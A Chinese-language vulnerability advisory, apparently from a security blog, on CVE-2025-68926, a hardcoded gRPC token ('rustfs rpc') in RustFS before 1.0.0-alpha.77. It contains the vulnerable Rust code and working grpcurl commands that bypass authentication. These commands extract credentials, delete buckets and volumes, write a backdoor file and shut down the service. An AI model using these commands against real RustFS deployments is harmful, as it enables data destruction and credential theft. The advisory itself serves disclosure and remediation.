首页 网络安全 正文
  • 本文约7509字,阅读需38分钟
  • 5
  • 0

RustFS gRPC身份认证绕过漏洞CVE-2025-68926

摘要

栋科技漏洞库关注到 RustFS  gRPC 中的身份认证绕过漏洞,该漏洞现在已经被追踪为CVE-2025-68926,漏洞的CVSS 3.1评分高达9.8。

RustFS 分布式对象存储是指以 Rust 语言实现的、遵循对象存储架构规范的分布式文件系统/存储系统,是 RustFS 的一个重要细分领域。

一、基本情况

RustFS是Rust语言开发的高性能、高安全性、高并发的对象存储系统,聚焦于对象(而非传统文件系统的文件/目录)作为核心存储单元。

llama.cpp 越界写入漏洞CVE-2026-21869

RustFS 用于海量、非结构化数据(图片、视频、日志、备份数据)的存储与管理,兼具 Rust 语言天然优势和分布式对象存储架构特性。

栋科技漏洞库关注到 RustFS  gRPC 中的身份认证绕过漏洞,该漏洞现在已经被追踪为CVE-2025-68926,漏洞的CVSS 3.1评分高达9.8。

二、漏洞分析

CVE-2025-68926 是在 1.0.0-alpha.77 版本之前,RustFS 使用硬编码的静态令牌 rustfs rpc 实现 gRPC 身份验证的安全漏洞,评分较高。

该漏洞源于 RustFS 的gRPC认证使用硬编码的静态令牌rustfs rpc,该令牌在源代码库中公开,客户端和服务器端均为硬编码且不可配置。

该令牌在源代码仓库中公开暴露,客户端和服务器端都硬编码这个令牌,无法配置,也没有令牌轮换机制,所有RustFS部署都普遍有效。

任何能够通过网络访问 gRPC 端口的攻击者都可以使用这个众所周知的令牌进行身份验证,并执行特权操作。

攻击者可以利用此公开的静态令牌进行身份验证,并执行包括数据销毁、策略操纵和集群配置更改在内的特权操作。

1、易受攻击代码分析

服务器端认证(rustfs/src/server/http.rs:679-686

#[allow(clippy::result_large_err)]
fn check_auth(req: Request<()>) -> std::result::Result<Request<()>, Status> {
    let token: MetadataValue<_> = "rustfs rpc".parse().unwrap();  // ⚠️ HARDCODED!

    match req.metadata().get("authorization") {
        Some(t) if token == t => Ok(req),
        _ => Err(Status::unauthenticated("No valid auth token")),
    }
}

问题:

·静态令牌被硬编码为字符串字面量

·无配置机制(环境变量、文件等)

·在公共GitHub存储库中可见的Token

·所有安装均相同

·客户端认证(crates/prot

2、客户端身份验证(crates/protos/src/lib.rs:153-174

pub async fn node_service_time_out_client(
    addr: &String,
) -> Result<NodeServiceClient<...>, Box<dyn Error>> {
    let token: MetadataValue<_> = "rustfs rpc".parse()?;  // ⚠️ SAME HARDCODED TOKEN!

    // ...

    Ok(NodeServiceClient::with_interceptor(
        channel,
        Box::new(move |mut req: Request<()>| {
            req.metadata_mut().insert("authorization", token.clone());
            Ok(req)
        }),
    ))
}

问题:

·客户端使用相同的硬编码令牌

·无安全令牌分发机制

·不更改代码就无法轮换Token

服务集成(rustfs/src/server/http.rs:520-521

let rpc_service = NodeServiceServer::with_interceptor(make_server(), check_auth);
let service = hypid(s3_service, rpc_service);

check_auth拦截器通过NodeServiceServer::with_interceptor应用于所有gRPC服务,使用相同弱认证保护node.proto中50多个gRPC方法。

三、POC概念验证

1、环境设置

测试环境:

RustFS 服务器:localhost:9000(HTTP + gRPC 混合服务)

RustFS 控制台:localhost:9001

容器:rustfs/rustfs:latest(Docker Compose部署)

默认凭据:rustfsadmin/rustfsadmin

所需工具:

grpcurl v1.9.3+(gRPC 命令行客户端)

RustFS 原型文件:crates/protos/src/node.proto

2、步骤1:验证是否已启用身份验证

测试1.1:无认证令牌的请求

$ grpcurl -plaintext \
    -import-path /private/tmp/rustfs/crates/protos/src \
    -proto node.proto \
    -d '{}' \
    localhost:9000 node_service.NodeService/Ping

预期结果:✅ 认证失败

ERROR:
  Code: Unauthenticated
  Message: No valid auth token

测试1.2:使用错误令牌的请求

$ grpcurl -plaintext \
    -H 'authorization: wrong-token-12345' \
    -import-path /private/tmp/rustfs/crates/protos/src \
    -proto node.proto \
    -d '{}' \
    localhost:9000 node_service.NodeService/Ping

预期结果:✅ 认证失败

ERROR:
  Code: Unauthenticated
  Message: No valid auth token

结论:身份验证已得到妥善执行——未经授权的请求已被拒绝。

3、步骤2:从源代码中提取硬编码的令牌

公共源代码分析:

$ git clone https://github.com/rustfs/rustfs.git
$ cd rustfs
$ grep -rn '"rustfs rpc"' --include='*.rs'

结果:✅ 在公共源代码中找到了Token

rustfs/src/server/http.rs:680:    let token: MetadataValue<_> = "rustfs rpc".parse().unwrap();
crates/protos/src/lib.rs:153:    let token: MetadataValue<_> = "rustfs rpc".parse()?;

提取的标记:rustfs rpc

4、步骤3:利用 - 使用硬编码令牌进行身份验证

测试3.1:使用硬编码令牌成功认证

$ grpcurl -plaintext \
    -H 'authorization: rustfs rpc' \
    -import-path /private/tmp/rustfs/crates/protos/src \
    -proto node.proto \
    -d '{}' \
    localhost:9000 node_service.NodeService/Ping

结果:🔓 认证已绕过

{
  "version": "1",
  "body": "DAAAAAAABgAIAAQABgAAAAQAAAANAAAAaGVsbG8sIGNhbGxlcgAAAA=="
}

分析:服务器接受了硬编码的令牌,并返回了成功响应。身份验证完全被绕过。

5、步骤4:演示对敏感管理API的访问

测试4.1:服务器配置泄露

$ grpcurl -plaintext \
    -H 'authorization: rustfs rpc' \
    -import-path /private/tmp/rustfs/crates/protos/src \
    -proto node.proto \
    -d '{}' \
    localhost:9000 node_service.NodeService/ServerInfo

结果:✅ 披露了完整的服务器配置

{
  "success": true,
  "serverProperties": "n6ZvbmxpbmWsMC4wLjAuMDo5MDAwoM0DhdkjMjAyNS0xMi0xOVQwNjo1NzoxOVpAMS4wLjAtYWxwaGEuNzaggawwLjAuMC4wOjkwMDCmb25saW5llNwAGq0vZGF0YS9ydXN0ZnMwwq0vZGF0YS9ydXN0ZnMwwsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAANwAGq0vZGF0YS9ydXN0ZnMxwq0vZGF0YS9ydXN0ZnMxwsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAAdwAGq0vZGF0YS9ydXN0ZnMywq0vZGF0YS9ydXN0ZnMywsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAAtwAGq0vZGF0YS9ydXN0ZnMzwq0vZGF0YS9ydXN0ZnMzwsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAAwGRAZUAAAAAAAAAoIA="
}

分析:

服务器返回了完整的配置信息,包括存储路径、端点地址和版本信息

二进制数据包含敏感的内部状态(采用MessagePack编码)

信息披露已确认

测试4.2:磁盘信息访问

$ grpcurl -plaintext \
    -H 'authorization: rustfs rpc' \
    -import-path /private/tmp/rustfs/crates/protos/src \
    -proto node.proto \
    -d '{}' \
    localhost:9000 node_service.NodeService/DiskInfo

结果:✅ 已接受经过身份验证的请求(返回的是业务逻辑错误,而非身份验证错误)

{
  "error": {
    "code": 36,
    "errorInfo": "io error can not find disk"
  }
}

分析:

请求已通过身份验证(错误在于业务逻辑,而非身份验证)

证明攻击者已通过身份验证,可以访问敏感系统信息API

6、影响分析

受影响的API

node_service.NodeService中的所有50多个gRPC方法都存在漏洞:

🔴 关键影响 - 数据销毁

DeleteBucket - 删除生产存储桶

DeleteVolume - 销毁整个存储卷

DeleteUser - 移除合法用户

DeletePolicy - 移除访问控制策略

DeleteServiceAccount - 删除服务账户

🔴 关键影响 - 配置篡改

ReloadSiteReplicationConfig - 集群复制已损坏

SignalService - 控制服务生命周期

LoadPolicy - 修改访问控制策略

LoadPolicyMapping - 更改策略分配

🟠 高度影响 - 未经授权的数据访问/修改

ReadAll / ReadAt - 读取任意数据

WriteAll / WriteStream - 注入恶意数据

RenameFile / RenameData - 操作文件系统

更新元数据/写入元数据 - 元数据已损坏

🟠 高影响 - 权限提升

LoadUser - 获取用户凭据

LoadServiceAccount - 获取服务凭据

LoadGroup - 访问组成员资格

🟡 中等影响 - 信息披露

ServerInfo - 服务器配置信息披露

DiskInfo - 存储配置信息披露

GetMetrics - 性能指标披露

GetBucketStats - 存储桶统计信息披露

LocalStorageInfo - 存储系统信息

ListBucket - 存储桶枚举

🟡 中等影响 - 集群运营

MakeBucket - 未经授权的存储桶创建

HealBucket - 触发修复操作

BackgroundHealStatus - 监控内部操作

7、攻击场景

场景1:数据销毁

# Enumerate all buckets
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{"options": "{}"}' \
  localhost:9000 node_service.NodeService/ListBucket

# Delete critical production bucket
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{"bucket": "production-data"}' \
  localhost:9000 node_service.NodeService/DeleteBucket

# Delete entire storage volume
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{"volume": "vol1"}' \
  localhost:9000 node_service.NodeService/DeleteVolume

影响:数据完全丢失,业务中断

场景2:凭证收集

# Extract user credentials
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{"access_key": "admin"}' \
  localhost:9000 node_service.NodeService/LoadUser

# Extract service account credentials
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{"access_key": "service-account"}' \
  localhost:9000 node_service.NodeService/LoadServiceAccount

# Exfiltrate IAM policies
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{"name": "admin-policy"}' \
  localhost:9000 node_service.NodeService/LoadPolicy

影响:完全破坏身份与访问管理(IAM),横向移动

场景3:后门安装

# Inject malicious data into system paths
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{"volume": "config", "path": "backdoor.sh", "buf": "..."}' \
  localhost:9000 node_service.NodeService/WriteAll

# Modify system configuration
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{"bucket": "system", "path": ".rustfs.sys/config.json", "fi": "..."}' \
  localhost:9000 node_service.NodeService/WriteMetadata

影响:持续危害,进一步利用

场景4:集群中断

# Corrupt replication configuration
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{}' \
  localhost:9000 node_service.NodeService/ReloadSiteReplicationConfig

# Force service restart/shutdown
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{"sig": 2}' \
  localhost:9000 node_service.NodeService/SignalService

影响:分布式系统故障,数据不一致

8、Poc概念验证

自动化POC脚本

文件:audit_analysis/poc_cve_2025_008_grpc_token_working.sh

用法:

管理员已设置登录后刷新可查看

默认目标:localhost:9000

POC特性

1.✅ 基线认证测试

验证未经验证的请求是否被拒绝

验证不正确的令牌是否被拒绝

2.✅ 漏洞利用演示

使用硬编码的令牌进行身份验证

成功调用Ping服务

3.✅ 敏感API访问

访问ServerInfo(配置泄露)

访问DiskInfo(系统信息)

演示对管理API的经过身份验证的访问

4.✅ 详细报告

显示易受攻击的代码位置

列出所有受影响的API(50多种方法)

提供CVSS评分和影响分析

包括补救建议

POC输出摘要

[PHASE 1] Baseline Testing
  ✓ Without token: REJECTED (Unauthenticated)
  ✓ With wrong token: REJECTED (Unauthenticated)

[PHASE 2] Exploit
  ✓ With hardcoded token "rustfs rpc": ACCEPTED ✅

[PHASE 3] Sensitive API Access
  ✓ ServerInfo: SUCCESS - Configuration disclosed
  ✓ DiskInfo: SUCCESS - System information accessible

[RESULT] VULNERABILITY CONFIRMED

四、影响范围

RustFS < 1.0.0-alpha.77

五、修复建议

RustFS >= 1.0.0-alpha.77

六、参考链接

管理员已设置登录后刷新可查看



扫描二维码,在手机上阅读
评论
更换验证码
友情链接